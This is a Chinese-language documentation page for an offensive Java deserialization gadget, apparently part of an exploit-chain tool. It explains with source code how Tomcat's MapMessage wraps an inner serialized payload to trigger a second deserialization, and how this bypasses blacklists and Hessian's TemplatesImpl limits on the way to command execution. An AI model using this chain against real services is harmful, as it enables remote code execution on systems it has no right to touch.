Skip to content

Latest commit

 

History

History
59 lines (50 loc) · 4.29 KB

File metadata and controls

59 lines (50 loc) · 4.29 KB

MapMessage二次反序列化(MapMessage)

  • 类别:javanative 别名:— 优先级:—
  • 作者:Ar3h
  • 依赖org.apache.tomcat:catalina-tribesorg.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage

作用

构造 Tomcat AbstractReplicatedMap$MapMessage 实例,把「内层链」序列化成字节存入其 keydata 字段;当上游「调用 getter」的跳板触发 getKey() 时,MapMessage 内部对 keydata 执行一次嵌套的 Java 反序列化,从而形成二次反序列化桥梁(常用于绕过 Hessian 等场景对 TemplatesImpl 的限制)。

链接标签

  • 入口 tagsMapMessageChainGetter
    • Getter —— 需由上一环「暴露危险 getter 调用」的跳板触发(如 CommonsBeanutils1),被调用的 getter 即 getKey()
    • MapMessageChain —— 本二次反序列化触发器的专属入口标签。
  • 衔接 nextTagsJavaNativeDeserializePayloadCustomJavaDeserialize
    • JavaNativeDeserializePayload —— 下游须是「把内层对象打包成待 Java 反序列化的字节 payload」的 gadget,即 JavaNativeSerialization
    • CustomJavaDeserialize —— 或对接自定义 Java 反序列化数据。
  • excludes:无。

源码剖析

public Object getObject(Object object) throws Exception {
    Object mapMessage = Reflections.createWithoutConstructor(
        "org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
    Reflections.setFieldValue(mapMessage, "keydata", CommonMethod.handleSerialized(object));
    return mapMessage;
}
  • createWithoutConstructorReflectionFactory 跳过构造器直接实例化 MapMessage(其为 Tombat 内部类,无公开无参构造)。
  • CommonMethod.handleSerialized(object) 把「内层链产物」序列化为 byte[],写入私有字段 keydata。这就是被嵌套的「第二段」序列化数据。
  • 运行期原理:AbstractReplicatedMap$MapMessage.getKey() 会调用 XByteBuffer.deserialize(keydata) 反序列化 keydata——因此只要外层链能触发 getKey(),就会对内层字节流再做一次 Java 反序列化。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                              // 取内层对象
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);        // "key"
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);     // "getKey"
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, AbstractReplicatedMap.MapMessage.class);
    return this.getObject(object);
}
  • chain.doCreate 取内层对象,再交给 getObject 序列化封装。
  • 向 context 注入:GETTER_PARAM_NAME_KEY="key"SPECIAL_METHOD_NAME_KEY="getKey"——告知上游 getter 跳板应触发的属性/方法名;SUPER_CLASS_NAME_KEY=MapMessage.class 声明处理类型。

参数(@Param)

本 gadget 无 @ParamparamName="key"methodName="getKey" 为内部固定字段。

适用版本与原理要点

  • 依赖 catalina-tribes(Tomcat 集群模块)在目标 classpath 中存在。
  • 定位为二次反序列化跳板:外层可用任意 getter 触发链(Hessian、CB1、Fastjson 等)驱动 getKey(),内层再打一段独立的 Java 原生反序列化 payload;由于内层以字节流形式存放,可绕过部分只检查外层类型的黑名单,并突破 Hessian 下 TemplatesImpl 的限制。
  • 本身不产出 RCE,需与内层完整链(如 JavaNativeSerialization → CommonsBeanutils1 → TemplatesImpl → BytecodeConvert → Exec)组合。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可参照「二次反序列化链」(chain 26)中 SignedObject 的位置替换使用。

关联